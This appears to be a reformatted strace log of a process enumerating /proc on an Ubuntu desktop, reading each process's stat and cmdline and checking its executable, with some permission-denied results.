4293open"773/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/xorg/Xorg\0-core\0:0\0-sea"...1024 101
4293close4 0
4293stat"/proc/773/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"793/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"793 (dnsmasq) S 683 793 683 0 -1"...1024 170
4293close4 0
4293open"793/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/dnsmasq\0--no-resolv\0--"...1024 300
4293read4""1024 0
4293close4 0
4293stat"/proc/793/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"941/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"941 (lightdm) S 733 733 733 0 -1"...1024 170
4293close4 0
4293open"941/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"lightdm\0--session-child\00012\00015\0"1024 30
4293close4 0
4293stat"/proc/941/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"946/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"946 (systemd) S 1 946 946 0 -1 4"...1024 308
4293close4 0
4293open"946/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/lib/systemd/systemd\0--user\0"1024 28
4293read4""1024 0
4293close4 0
4293stat"/proc/946/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1577232, st_size=1577232, ...}...} 0
4293open"947/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"947 ((sd-pam)) S 946 946 946 0 -"...1024 166
4293close4 0
4293open"947/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"(sd-pam)\0\0\0\0\0\0\0\0\0\0"1024 18
4293close4 0
4293stat"/proc/947/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"950/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"950 (upstart) S 941 950 950 0 -1"...1024 321
4293close4 0
4293open"950/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/sbin/upstart\0--user\0"1024 21
4293read4""1024 0
4293close4 0
4293stat"/proc/950/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=302920, st_size=302920, ...}...} 0
4293open"1030/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1030 (upstart-udev-br) S 950 102"...1024 310
4293close4 0
4293open"1030/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"upstart-udev-bridge\0--daemon\0--u"...1024 36
4293read4""1024 0
4293close4 0
4293stat"/proc/1030/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=88392, st_size=88392, ...}...} 0
4293open"1037/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1037 (dbus-daemon) S 950 1037 10"...1024 314
4293close4 0
4293open"1037/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"dbus-daemon\0--fork\0--session\0--a"...1024 74
4293read4""1024 0
4293close4 0
4293stat"/proc/1037/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=224208, st_size=224208, ...}...} 0
4293open"1050/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1050 (window-stack-br) S 950 105"...1024 280
4293close4 0
4293open"1050/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/hud/wi"...1024 50
4293read4""1024 0
4293close4 0
4293stat"/proc/1050/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=232976, st_size=232976, ...}...} 0
4293open"1076/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1076 (upstart-dbus-br) S 950 107"...1024 311
4293close4 0
4293open"1076/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"upstart-dbus-bridge\0--daemon\0--s"...1024 65
4293close4 0
4293stat"/proc/1076/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=150024, st_size=150024, ...}...} 0
4293open"1078/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1078 (upstart-dbus-br) S 950 107"...1024 311
4293close4 0
4293open"1078/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"upstart-dbus-bridge\0--daemon\0--s"...1024 63
4293close4 0
4293stat"/proc/1078/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=150024, st_size=150024, ...}...} 0
4293open"1080/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1080 (upstart-file-br) S 950 107"...1024 314
4293close4 0
4293open"1080/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"upstart-file-bridge\0--daemon\0--u"...1024 36
4293read4""1024 0
4293close4 0
4293stat"/proc/1080/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=157992, st_size=157992, ...}...} 0
4293open"1082/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1082 (gnome-keyring-d) S 950 104"...1024 182
4293close4 0
4293open"1082/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"gnome-keyring-daemon\0--start\0--c"...1024 57
4293close4 0
4293stat"/proc/1082/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1101/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1101 (bamfdaemon) S 950 1101 110"...1024 279
4293close4 0
4293open"1101/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/bamf/b"...1024 42
4293read4""1024 0
4293close4 0
4293stat"/proc/1101/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=317216, st_size=317216, ...}...} 0
4293open"1103/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1103 (ibus-daemon) S 950 1103 11"...1024 288
4293close4 0
4293open"1103/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/ibus-daemon\0--daemonize"...1024 71
4293close4 0
4293stat"/proc/1103/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=164152, st_size=164152, ...}...} 0
4293open"1113/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1113 (gvfsd) S 950 1037 1037 0 -"...1024 272
4293close4 0
4293open"1113/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfsd\0"1024 20
4293read4""1024 0
4293close4 0
4293stat"/proc/1113/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=31912, st_size=31912, ...}...} 0
4293open"1120/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1120 (gvfsd-fuse) S 950 1037 103"...1024 279
4293close4 0
4293open"1120/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gvfs/gvfsd-fuse\0/run/us"...1024 62
4293close4 0
4293stat"/proc/1120/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=36384, st_size=36384, ...}...} 0
4293open"1124/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1124 (dconf-service) S 950 1037 "...1024 281
4293close4 0
4293open"1124/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/dconf/dconf-service\0"1024 29
4293read4""1024 0
4293close4 0
4293stat"/proc/1124/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=77896, st_size=77896, ...}...} 0
4293open"1134/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1134 (at-spi-bus-laun) S 950 103"...1024 279
4293close4 0
4293open"1134/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/at-spi2-core/at-spi-bus"...1024 42
4293read4""1024 0
4293close4 0
4293stat"/proc/1134/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=22520, st_size=22520, ...}...} 0
4293open"1148/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1148 (dbus-daemon) S 1134 1037 1"...1024 309
4293close4 0
4293open"1148/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/dbus-daemon\0--config-fi"...1024 94
4293close4 0
4293stat"/proc/1148/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=224208, st_size=224208, ...}...} 0
4293open"1151/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1151 (at-spi2-registr) S 950 103"...1024 276
4293close4 0
4293open"1151/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/at-spi2-core/at-spi2-re"...1024 60
4293read4""1024 0
4293close4 0
4293stat"/proc/1151/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=87616, st_size=87616, ...}...} 0
4293open"1162/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1162 (ibus-dconf) S 1103 1103 11"...1024 272
4293close4 0
4293open"1162/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/ibus/ibus-dconf\0"1024 25
4293read4""1024 0
4293close4 0
4293stat"/proc/1162/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=19144, st_size=19144, ...}...} 0
4293open"1166/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1166 (ibus-ui-gtk3) S 1103 1103 "...1024 284
4293close4 0
4293open"1166/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/ibus/ibus-ui-gtk3\0"1024 27
4293read4""1024 0
4293close4 0
4293stat"/proc/1166/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=206568, st_size=206568, ...}...} 0
4293open"1170/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1170 (ibus-x11) S 950 1103 1103 "...1024 275
4293close4 0
4293open"1170/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/ibus/ibus-x11\0--kill-da"...1024 37
4293read4""1024 0
4293close4 0
4293stat"/proc/1170/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=92824, st_size=92824, ...}...} 0
4293open"1194/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1194 (ibus-engine-sim) S 1103 11"...1024 281
4293close4 0
4293open"1194/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/ibus/ibus-engine-simple"...1024 33
4293read4""1024 0
4293close4 0
4293stat"/proc/1194/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=10696, st_size=10696, ...}...} 0
4293open"1211/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1211 (whoopsie) S 1 1211 1211 0 "...1024 177
4293close4 0
4293open"1211/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/whoopsie\0-f\0"1024 21
4293read4""1024 0
4293close4 0
4293stat"/proc/1211/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1216/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1216 (agetty) S 1 1216 1216 1025"...1024 166
4293close4 0
4293open"1216/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/sbin/agetty\0--noclear\0tty1\0linu"...1024 34
4293close4 0
4293stat"/proc/1216/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1241/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1241 (hud-service) S 950 1241 12"...1024 284
4293close4 0
4293open"1241/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/hud/hu"...1024 42
4293read4""1024 0
4293close4 0
4293stat"/proc/1241/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=583224, st_size=583224, ...}...} 0
4293open"1243/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1243 (unity-settings-) S 950 124"...1024 292
4293close4 0
4293open"1243/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/unity-settings-daemon/u"...1024 53
4293read4""1024 0
4293close4 0
4293stat"/proc/1243/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=40280, st_size=40280, ...}...} 0
4293open"1252/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1252 (gnome-session-b) S 950 125"...1024 289
4293close4 0
4293open"1252/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/gnome-session/gnome-ses"...1024 61
4293read4""1024 0
4293close4 0
4293stat"/proc/1252/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=280616, st_size=280616, ...}...} 0
4293open"1263/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1263 (unity-panel-ser) S 950 126"...1024 288
4293close4 0
4293open"1263/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/unity/"...1024 52
4293read4""1024 0
4293close4 0
4293stat"/proc/1263/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=77760, st_size=77760, ...}...} 0
4293open"1285/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1285 (upowerd) S 1 1285 1285 0 -"...1024 167
4293close4 0
4293open"1285/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/upower/upowerd\0"1024 24
4293read4""1024 0
4293close4 0
4293stat"/proc/1285/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1311/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1311 (indicator-messa) S 950 131"...1024 285
4293close4 0
4293open"1311/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 72
4293read4""1024 0
4293close4 0
4293stat"/proc/1311/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=115048, st_size=115048, ...}...} 0
4293open"1313/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1313 (indicator-bluet) S 950 131"...1024 277
4293close4 0
4293open"1313/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 74
4293read4""1024 0
4293close4 0
4293stat"/proc/1313/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=89840, st_size=89840, ...}...} 0
4293open"1315/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1315 (indicator-power) S 950 131"...1024 287
4293close4 0
4293open"1315/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 66
4293read4""1024 0
4293close4 0
4293stat"/proc/1315/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=168440, st_size=168440, ...}...} 0
4293open"1320/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1320 (indicator-datet) S 950 132"...1024 284
4293close4 0
4293open"1320/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 72
4293read4""1024 0
4293close4 0
4293stat"/proc/1320/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1164880, st_size=1164880, ...}...} 0
4293open"1323/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1323 (indicator-keybo) S 950 132"...1024 287
4293close4 0
4293open"1323/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 82
4293read4""1024 0
4293close4 0
4293stat"/proc/1323/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=139976, st_size=139976, ...}...} 0
4293open"1324/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1324 (indicator-sound) S 950 132"...1024 289
4293close4 0
4293open"1324/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 66
4293read4""1024 0
4293close4 0
4293stat"/proc/1324/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=308216, st_size=308216, ...}...} 0
4293open"1326/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1326 (indicator-print) S 950 132"...1024 279
4293close4 0
4293open"1326/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 72
4293read4""1024 0
4293close4 0
4293stat"/proc/1326/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=56664, st_size=56664, ...}...} 0
4293open"1328/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1328 (indicator-sessi) S 950 132"...1024 280
4293close4 0
4293open"1328/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 70
4293read4""1024 0
4293close4 0
4293stat"/proc/1328/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=373032, st_size=373032, ...}...} 0
4293open"1334/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1334 (indicator-appli) S 950 133"...1024 280
4293close4 0
4293open"1334/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/x86_64-linux-gnu/indica"...1024 78
4293read4""1024 0
4293close4 0
4293stat"/proc/1334/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=44248, st_size=44248, ...}...} 0
4293open"1366/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1366 (evolution-sourc) S 950 103"...1024 321
4293close4 0
4293open"1366/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/evolution/evolution-sou"...1024 45
4293read4""1024 0
4293close4 0
4293stat"/proc/1366/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=101000, st_size=101000, ...}...} 0
4293open"1375/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1375 (pulseaudio) S 950 1374 137"...1024 285
4293close4 0
4293open"1375/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/pulseaudio\0--start\0--lo"...1024 48
4293read4""1024 0
4293close4 0
4293stat"/proc/1375/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=88224, st_size=88224, ...}...} 0
4293open"1376/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1376 (rtkit-daemon) S 1 1376 137"...1024 170
4293close4 0
4293open"1376/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/rtkit/rtkit-daemon\0"1024 28
4293read4""1024 0
4293close4 0
4293stat"/proc/1376/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1387/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1387 (colord) S 1 1387 1387 0 -1"...1024 169
4293close4 0
4293open"1387/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/colord/colord\0"1024 23
4293read4""1024 0
4293close4 0
4293stat"/proc/1387/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"1448/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1448 (evolution-calen) S 950 103"...1024 319
4293close4 0
4293open"1448/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/evolution/evolution-cal"...1024 46
4293read4""1024 0
4293close4 0
4293stat"/proc/1448/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=10392, st_size=10392, ...}...} 0
4293open"1452/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1452 (nautilus) S 1252 1252 1252"...1024 280
4293close4 0
4293open"1452/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"nautilus\0-n\0"1024 12
4293read4""1024 0
4293close4 0
4293stat"/proc/1452/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1426400, st_size=1426400, ...}...} 0
4293open"1457/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1457 (gnome-software) S 1252 125"...1024 294
4293close4 0
4293open"1457/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/gnome-software\0--gappli"...1024 47
4293read4""1024 0
4293close4 0
4293stat"/proc/1457/exe"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=701296, st_size=701296, ...}...} 0
4293open"1458/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"1458 (polkit-gnome-au) S 1252 12"...1024 283
4293close4 0
4293open"1458/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/policykit-1-gnome/polki"...1024 63
4293read4""1024 0
4293close4 0
